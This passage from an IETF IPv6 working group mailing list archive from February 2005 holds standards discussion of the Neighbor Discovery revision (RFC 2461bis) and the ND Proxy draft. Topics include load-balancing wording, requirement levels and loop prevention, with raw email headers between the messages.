for RFC2461 implementors, but rather those specs which use proxying. > > > > Inbound load balancing - Nodes with replicated > > > > interfaces may want > > > > to load balance the reception of incoming > > packets across > > > > multiple network interfaces on the same > > link. Such nodes > > > > have multiple link-layer addresses assigned > > to the same > > > > interface. For example, a single network > > driver could > > > > represent multiple network interface cards > > as a single > > > > logical interface having multiple link-layer > > addresses. > > > > > > > > Load balancing is handled by allowing > > routers to omit the > > > > source link-layer address from Router > > > > Advertisement packets, > > > > [...] > > > > > > > > ==> this is conflicting. The first para discusses > > generic inbound > > > > load balancing, the second load balancing that applies only to > > > > routers w/ RAs. How do hosts perform inbound load balancing? > > > > Needs text tweaking.. > > > > > => Erik responded: > > Leaving the first paragraph as is, since it is basically explaining the term, > and adding something before the second paragraph that "Neighbor Discovery > allows a router to load balance traffic towards itself if the router has > multiple MAC addresses by ..." > > => I think this is fine so I'll add it to the doc. This does not solve my wording issue. The paragraph just describes how _routers_ perform inbound load balancing. How about hosts which don't send RAs? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 15:16:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06380 for ; Tue, 15 Feb 2005 15:16:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D19Sz-0008Rg-OT for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 15:38:42 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D18ge-00061O-Qy; Tue, 15 Feb 2005 14:48:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D18Ei-00041C-A4 for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 14:19:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24413 for ; Tue, 15 Feb 2005 14:19:50 -0500 (EST) Received: from mail.flarion.com ([63.103.94.23] helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D18Zo-00057f-DU for ipv6@ietf.org; Tue, 15 Feb 2005 14:41:40 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 15 Feb 2005 14:19:14 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Tue, 15 Feb 2005 14:19:13 -0500 Message-ID: Thread-Topic: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt Thread-Index: AcUTj+3NkleND6lzTgqeWEdgptB8yAAAtWFQ From: "Soliman, Hesham" To: "Pekka Savola" X-OriginalArrivalTime: 15 Feb 2005 19:19:14.0274 (UTC) FILETIME=[3C4D3420:01C51393] X-Spam-Score: 0.0 (/) X-Scan-Signature: 68ba2b07ef271dba6ee42a93832cfa4c Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG Subject: RE: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f49c97ce49302a02285a2d36a99eef8c Content-Transfer-Encoding: quoted-printable > On Thu, 10 Feb 2005, Soliman, Hesham wrote: > [lifetimes which decrement in real time] > > > > > =3D=3D> AFAIK, the first option has not been implemented; = I've > > > > > at least not seen > > > > > in done. Therefore unless someone shows that there are two > > > > > implementations > > > > > of this, this must be removed. (The same for > > > > > AdvPreferredLifetime, and a bit > > > > > in section 6.2.7.) > > > > =3D> We were told this is implemented in Solaris I believe. >=20 > One implementation is not sufficient for DS. >=20 > However, even if there was a second implementation (probably yes)=20 > don't you think it's ridiculous that spec says MUST, while only one=20 > implementation has heeded that advice? >=20 > I suggest making it a SHOULD or MAY so it better reflects=20 > the reality. =3D> I thought I already agreed to making it a MAY. I'll make it a MAY. > > > > > A proxy MAY multicast Neighbor Advertisements when > > > its link-layer > > > > > address changes or when it is configured (by system > > > management or > > > > > other mechanisms) to proxy for an address. If there > > > are multiple > > > > > nodes that are providing proxy services for the same set > > > > > of addresses > > > > > the proxies SHOULD provide a mechanism that prevents > > > > > multiple proxies > > > > > from multicasting advertisements for any one > > > address, in order to > > > > > reduce the risk of excessive multicast traffic. > > > > > > > > > > =3D=3D> does anyone implement this SHOULD? Note that=20 > this does not > > > > > give hints how to even go about doing that. If not, remove. > > > > > > > > =3D> As mentioned earlier by Erik, this is a requirement on=20 > other specs > > using proxy ND. MIPv6 is an example of such protocol. I=20 > think this makes > > sense as a requirement. So let's keep it. >=20 > Erik said, >=20 > "As I said above, I think the MIPv6 RFC is the "implementation" in=20 > this case. But it does make sense to clarify that the text=20 > is about a=20 > requirement on other protocols which use proxy ND." >=20 > A clarification would be fine by me. This is not a requirement for=20 > RFC2461 implementors, but rather those specs which use proxying. =3D> Sure. >=20 > > > > > Inbound load balancing - Nodes with replicated > > > > > interfaces may want > > > > > to load balance the reception of incoming > > > packets across > > > > > multiple network interfaces on the same > > > link. Such nodes > > > > > have multiple link-layer addresses assigned > > > to the same > > > > > interface. For example, a single network > > > driver could > > > > > represent multiple network interface cards > > > as a single > > > > > logical interface having multiple link-layer > > > addresses. > > > > > > > > > > Load balancing is handled by allowing > > > routers to omit the > > > > > source link-layer address from Router > > > > > Advertisement packets, > > > > > [...] > > > > > > > > > > =3D=3D> this is conflicting. The first para discusses > > > generic inbound > > > > > load balancing, the second load balancing that=20 > applies only to > > > > > routers w/ RAs. How do hosts perform inbound load balancing? > > > > > Needs text tweaking.. > > > > > > > > =3D> Erik responded: > > > > Leaving the first paragraph as is, since it is=20 > basically explaining the term, > > and adding something before the second paragraph that=20 > "Neighbor Discovery > > allows a router to load balance traffic towards itself=20 > if the router has > > multiple MAC addresses by ..." > > > > =3D> I think this is fine so I'll add it to the doc. >=20 > This does not solve my wording issue. The paragraph just describes=20 > how _routers_ perform inbound load balancing. How about hosts which=20 > don't send RAs? =3D> What do you suggest?=20 Hesham >=20 > --=20 > Pekka Savola "You each name yourselves king, yet the > Netcore Oy kingdom bleeds." > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 15:45:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10165 for ; Tue, 15 Feb 2005 15:45:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D19v0-00017k-UV for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 16:07:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D19Qo-0001y2-Uu; Tue, 15 Feb 2005 15:36:26 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D19Ox-00019R-Vw for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 15:34:32 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09044 for ; Tue, 15 Feb 2005 15:34:29 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D19k2-0000cN-Sl for ipv6@ietf.org; Tue, 15 Feb 2005 15:56:20 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1FKXtd00591; Tue, 15 Feb 2005 22:33:55 +0200 Date: Tue, 15 Feb 2005 22:33:55 +0200 (EET) From: Pekka Savola To: "Soliman, Hesham" In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Cc: IPv6 WG Subject: RE: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 50a516d93fd399dc60588708fd9a3002 On Tue, 15 Feb 2005, Soliman, Hesham wrote: > > This does not solve my wording issue. The paragraph just describes > > how _routers_ perform inbound load balancing. How about hosts which > > don't send RAs? > > => What do you suggest? The paragraph now reads: Inbound load balancing - Nodes with replicated interfaces may want to load balance the reception of incoming packets across multiple network interfaces on the same link. Such nodes have multiple link-layer addresses assigned to the same interface. For example, a single network driver could represent multiple network interface cards as a single logical interface having multiple link-layer addresses. Load balancing is handled by allowing routers to omit the source link-layer address from Router Advertisement packets, thereby forcing neighbors to use Neighbor Solicitation messages to learn link-layer addresses of routers. Returned Neighbor Advertisement messages can then contain link-layer addresses that differ depending on who issued the solicitation. Maybe just add a sentence at the start of the second paragraph: Hosts cannot perform inbound load balancing. (Another place to put this would be after the first sentence.) The longer story: because hosts would have to do this with omitting the link-layer address from Neighbor Advertisements, this is not possible because the spec requires that lladdr MUST be included for multicast solicitations, and may be omitted for unicast solicitations; but in the latter case, as the solicitor already knows the address, there is no load balancing to happen (at least in the similar manner).. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 17:46:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22751 for ; Tue, 15 Feb 2005 17:46:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Bno-0004Gh-AG for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 18:08:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1BRB-0006mU-Ip; Tue, 15 Feb 2005 17:44:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1BN1-0005kL-EY for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 17:40:39 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21824 for ; Tue, 15 Feb 2005 17:40:37 -0500 (EST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Bi5-00041Z-Ek for ipv6@ietf.org; Tue, 15 Feb 2005 18:02:29 -0500 Received: from jurassic.eng.sun.com ([129.146.86.38]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id j1FMeWLF025662; Tue, 15 Feb 2005 14:40:32 -0800 (PST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1FMeWtM546531; Tue, 15 Feb 2005 14:40:32 -0800 (PST) Message-ID: <42127A3C.1080502@sun.com> Date: Tue, 15 Feb 2005 14:39:56 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pekka Savola References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 Content-Transfer-Encoding: 7bit Cc: "Soliman, Hesham" , IPv6 WG Subject: Re: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8b431ad66d60be2d47c7bfeb879db82c Content-Transfer-Encoding: 7bit Pekka Savola wrote: > Inbound load balancing - Nodes with replicated interfaces may want > to load balance the reception of incoming packets across > multiple network interfaces on the same link. Such nodes > have multiple link-layer addresses assigned to the same > interface. For example, a single network driver could > represent multiple network interface cards as a single > logical interface having multiple link-layer addresses. > > Load balancing is handled by allowing routers to omit the > source link-layer address from Router Advertisement packets, > thereby forcing neighbors to use Neighbor Solicitation > messages to learn link-layer addresses of routers. Returned > Neighbor Advertisement messages can then contain link-layer > addresses that differ depending on who issued the > solicitation. > > Maybe just add a sentence at the start of the second paragraph: > > Hosts cannot perform inbound load balancing. I don't think that is true. What is true is that 2461 has no explicit support for hosts to do inbound load balancing, and the ability for routers to omit the SLLA in the RAs is explicit support for routers doing so. The example of how a host could do this: When sending a RS use a SLLAO which is a random function. When sending a NS use the peer's (target) address in some hash to determine which SLLAO to use. When responding to a NS, use a TSLLA based on the same hash. When sending an unsolicited NS, pick a random one of the link layer addresses the host has (just as for RS). Clearly this isn't perfect, since LLAO in the RS and unsolicited NA might later be replaced by another one. But it shows it isn't impossible. So I'd suggest adding a sentence at the start of the second paragraph: This specification has no explicit support for hosts to perform inbound load balancing. and rewording the rest to start with Routers can perform inbound load balancing by omitting ... Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 22:35:53 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA09694 for ; Tue, 15 Feb 2005 22:35:53 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1GJw-0004SY-8D for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 22:57:48 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Fub-0006VK-7j; Tue, 15 Feb 2005 22:31:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Fmr-0004MP-KG for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 22:23:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04995 for ; Tue, 15 Feb 2005 22:23:35 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1G80-000464-Uv for ipv6@ietf.org; Tue, 15 Feb 2005 22:45:30 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:23:03 -0800 Received: from red-hub-02.redmond.corp.microsoft.com ([157.54.7.100]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:23:02 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 19:23:01 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:23:01 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 15 Feb 2005 19:22:58 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110230A1B@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: Next steps with thread-index: AcUHQDtTrcAzfthJRCS47Vk10bv7nQMlfRTw From: "Dave Thaler" To: "IPv6 WG" X-OriginalArrivalTime: 16 Feb 2005 03:23:01.0429 (UTC) FILETIME=[D1D58E50:01C513D6] X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: quoted-printable Cc: Brian Haberman , Bob Hinden Subject: RE: Next steps with X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Content-Transfer-Encoding: quoted-printable The ND Proxy Issues page at http://www.icir.org/dthaler/NDProxyIssues.htm has been updated with the new issues raised (16 through 22), as well as the comments received on each issue. =20 Issue 19 (Experimental vs Information) is already closed as noted below, and does not affect the text. For the remaining issues, I will post a thread for each with the proposed resolution. -Dave > -----Original Message----- > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of > Bob Hinden > Sent: Sunday, January 30, 2005 6:47 PM > To: IPv6 WG > Cc: Brian Haberman; Bob.Hinden@nokia.com > Subject: Next steps with >=20 > The chairs have reviewed the comments on > on the mailing list received after the "Request to Advance". It would > have > been nice if this discussion had occurred during the working group last > call, but we do agree there are some serious issues with the draft that > should be fixed. We will ask the ADs to send it back to the working > group. >=20 > Based on our reading of the discussion, we believe there is still a > consensus to publish this document once these issues are resolved. We > also > agree that it would be better to publish it as an Experimental RFC, than > at > Informational. >=20 > Bob Hinden & Brian Haberman > IPv6 w.g. chairs >=20 >=20 > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 22:53:46 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA11131 for ; Tue, 15 Feb 2005 22:53:46 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1GbF-0004v8-MU for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 23:15:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1GEO-0003w9-Nz; Tue, 15 Feb 2005 22:52:04 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1GAO-0002Fk-Hr for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 22:47:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA10805 for ; Tue, 15 Feb 2005 22:47:54 -0500 (EST) Received: from mail2.microsoft.com ([131.107.3.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1GVZ-0004mI-50 for ipv6@ietf.org; Tue, 15 Feb 2005 23:09:49 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 19:47:24 -0800 Received: from red-hub-04.redmond.corp.microsoft.com ([157.54.3.6]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:47:24 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 19:47:24 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:47:23 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 15 Feb 2005 19:47:20 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110230A34@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#16] Loop prevention, revisited thread-index: AcUT2jeMAz8uYZTuQVOKgMfnNe+XtA== From: "Dave Thaler" To: X-OriginalArrivalTime: 16 Feb 2005 03:47:23.0891 (UTC) FILETIME=[39878C30:01C513DA] X-Spam-Score: 0.0 (/) X-Scan-Signature: 69a74e02bbee44ab4f8eafdbcedd94a1 Content-Transfer-Encoding: quoted-printable Subject: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Content-Transfer-Encoding: quoted-printable Summary (from Erik Nordmark): > I still think the document should say "MUST prevent loops;=20 > SHOULD run IEEE 802.1D to prevent loops" and then talk about=20 > cases when the protocol is not needed. The one example we have > is the case of PPP (e.g. to a GGSN) where the probability of a=20 > loop would be very small, so in that particular case there is no > need for 802.1D (and there might be other examples, but the 802.11 > scenario in the document isn't one of them). Discussion so far:=20 http://www.icir.org/dthaler/NDProxyIssues.htm#Issue 16=20 The problematic text in section 6 is: > Loop prevention can be done done by having the proxy implement the > Spanning Tree Algorithm and Protocol as defined in [BRIDGE] on all > proxy interfaces. Loop prevention is OPTIONAL, and is useful only > if the proxy can be deployed in an environment where physical loops > are possible. For example, in a cell phone which proxies between a > PPP dialup link and a local Ethernet interface, it is typically safe > to assume that physical loops are not possible and hence there is > no need to support the Spanning Tree Protocol (STP). > > If loop prevention is implemented, it is done as follows. Proposed replacement text: > An implementation MUST have some means of preventing loops. > Loop prevention SHOULD be done by having the proxy implement the > Spanning Tree Algorithm and Protocol as defined in [BRIDGE] on all > proxy interfaces, as described below. This mechanism is required > only if the proxy can be deployed in an environment where physical=20 > loops are possible. For example, in a cell phone which proxies=20 > between a PPP dialup link and a local Ethernet interface, it is=20 > typically safe to assume that physical loops are not possible and > hence there is no need to support the Spanning Tree Protocol (STP). > > Loop prevention using STP is done as follows. -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 23:14:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA13175 for ; Tue, 15 Feb 2005 23:14:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Gvc-0005WK-Ur for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 23:36:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1GTv-0008Fx-Ha; Tue, 15 Feb 2005 23:08:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1GKd-0006B5-Ia for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 22:58:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA11780 for ; Tue, 15 Feb 2005 22:58:29 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Gfn-00053a-GZ for ipv6@ietf.org; Tue, 15 Feb 2005 23:20:24 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:57:58 -0800 Received: from red-hub-04.redmond.corp.microsoft.com ([157.54.3.6]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 19:58:03 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 19:57:58 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 19:57:58 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 15 Feb 2005 19:56:06 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110230A3E@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#18] Dynamic removal of proxy thread-index: AcUT23DPKtBvs8N1R7q9PYgP6v3SGg== From: "Dave Thaler" To: X-OriginalArrivalTime: 16 Feb 2005 03:57:58.0304 (UTC) FILETIME=[B3AB4A00:01C513DB] X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Content-Transfer-Encoding: quoted-printable Subject: [NDProxy#18] Dynamic removal of proxy X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0bc60ec82efc80c84b8d02f4b0e4de22 Content-Transfer-Encoding: quoted-printable Summary: Requirements section says removal of a proxy should not adversely disrupt the network. However, removing a proxy can break connectivity that previously went through the proxy. Hence=20 the document is not self-consistent. Discussion so far: http://www.icir.org/dthaler/NDProxyIssues.htm#Issue%2018 I agree with Brian Haberman that this is equivalent to a network=20 failure or re-design, which I agree with Erik does adversely affect the network. I think the requirement itself was bad in this regard. The problematic text in section 3 is: > o Allow dynamic addition/removal of a proxy without adversely > disrupting the network. Proposed replacement text: > o Allow dynamic addition of a proxy without adversely disrupting > the network. -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 23:27:53 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA14676 for ; Tue, 15 Feb 2005 23:27:53 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1H8G-0005vP-2U for ipv6-web-archive@ietf.org; 